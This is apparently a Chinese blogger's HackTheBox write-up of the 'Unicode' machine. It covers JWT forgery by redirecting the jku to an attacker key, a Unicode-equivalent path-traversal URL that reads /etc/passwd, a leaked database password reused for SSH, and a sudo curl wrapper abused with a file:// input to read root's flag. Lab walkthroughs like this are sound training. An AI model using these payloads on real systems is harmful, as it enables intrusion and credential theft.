废物的靶场日记 hackthebox-Unicode

废物的靶场日记 hackthebox-Unicode

今天打medium难度的unicode 靶机IP 10.10.11.126

我近来已经认清了自己是个纯纯饭桶的事实 于是决定在没忍住点奶茶的日子里打打难度高的 用脑力劳动和奶茶的热量进行对冲！

前渗透

信息收集 nmap -sV -A 10.10.11.126
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)

访问80是一个有注册登录的网站 注册登录发现有一个可以上传文件的地方 那就抓包上传

这里我都准备好upload的姿势了 结果啥也没改就给我放过去了 但是他上传的路径不在这个/upload下 找了找路径感觉此路不通

寄！我装的其实没寄 看到cookie 哎呀这不是丁…jwt吗 解一下

但是还不能伪造jwt 这里我们得到了一个jku 访问一下看到

这里关于jku不懂的朋友可以去看看文章 既然是可控的那么我们可以生成自己的公私钥对并更改jku来进行绕过
但是jku的url怎么构造呢 直接本地起http然后连是行不通的 这里我回到了主页 各种抓包发现主页点击google有重定向
而我们可以利用这个重定向来访问我们起的http 从而构造jku来进行认证

伪造jwt进入后台后发现还是很精简的 瞎点发现有
/display/?page=quarterly.pdf
这不文件读取吗 换成/etc/passwd后提示
we do a lot input filtering you can never bypass our filters.

他题目已经提醒了是关于unicode 那么估计就是等效字符绕过了
经过测试 这里对…/和etc进行了过滤 于是我把 / 和 c 进行替换 构造出
http://10.10.11.126/display/?page=…%EF%BC%8F…%EF%BC%8F…%EF%BC%8F…%EF%BC%8F…%EF%BC%8Fet%e1%b6%9c/passwd
成功读取文件

捏麻 这看的我好恶心 有用信息在于要连的应该就是这个code 以及存在mysql
但是根据我打了好几天的htb flag的位置是固定的 我能不能直接去找这个user的flag呢 改成
page=…%EF%BC%8F…%EF%BC%8F…%EF%BC%8F…%EF%BC%8F…%EF%BC%8Fhome/code/user.txt

e5c0dff1ca1d2152fe279522d4a65489 还真是可以的
但是我又突然醒悟了 好像没勾八用 因为root的flag读不了我们还是要连到code上提权

下一步我们肯定是要去读取一些文件 whatweb 10.10.11.126 发现是nginx的
我是没有什么开发经验的 又懂个勾八的nginx呢 常规的任意文件读取我只知道读个nginx/nginx.conf
但阅读.conf后我发现有 include /etc/nginx/sites-enabled/*; 而这个目录下的default文件其实是一个软连接
nginx真正的站点默认配置文件在/etc/nginx/sites-available/default 不知道这个理解对不对 望大佬指正

总之读取这个文件后发现有

#change the user password from db.yaml listen 80;

通过阅读文件判断路径找到这个文件 读取发现

mysql_host: “localhost” mysql_user: “code” mysql_password: “B3stC0d3r2021@@!” mysql_db: “user” 以此可以直接连上ssh

后渗透

拿到shell 由于这里我们已经提前拿到user的flag了 所以直接准备提权
上线msf peass看一下 发现啥也没
find / -perm -u=s -type f 2>/dev/null 也没看见什么明显的东西

测试发现这里有sudo提权 sudo -l 看到
(root) NOPASSWD: /usr/bin/treport 执行

sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:
能下载还提勾八 我直接把root.txt下下来不就完了
Enter your choice:3
Enter the IP/file_name:/root/root.txt

curl: (3) URL using bad/illegal format or missing URL

报错了 但是直接告诉你就是个curl 随便构造了一下发现应该是有过滤
但没关系 root flag近在眼前！

妈的 前面几个字刚打完 每日一寄又如期而至了 我正想最后一个过滤怎么绕 网络欠费了直接给我网断了
搞完之后发现还不能直接重连上去 吐了

回到这里 因为是下载本机文件 直接用file协议就可以了
Enter the IP/file_name:File:///root/root.txt
然后再执行一次选择2进行读取就行了 拿下root的flag

f50e2e806cf52f78e8bd0aabb14a2357

这台我觉得质量是不错的 但是过程中找资料的时候发现不科学上网有些资料太难找了 一搜索就是一堆来回抄来抄去文不对题过时又没勾八用的东西 这种博客抄来抄去不是纯恶心人吗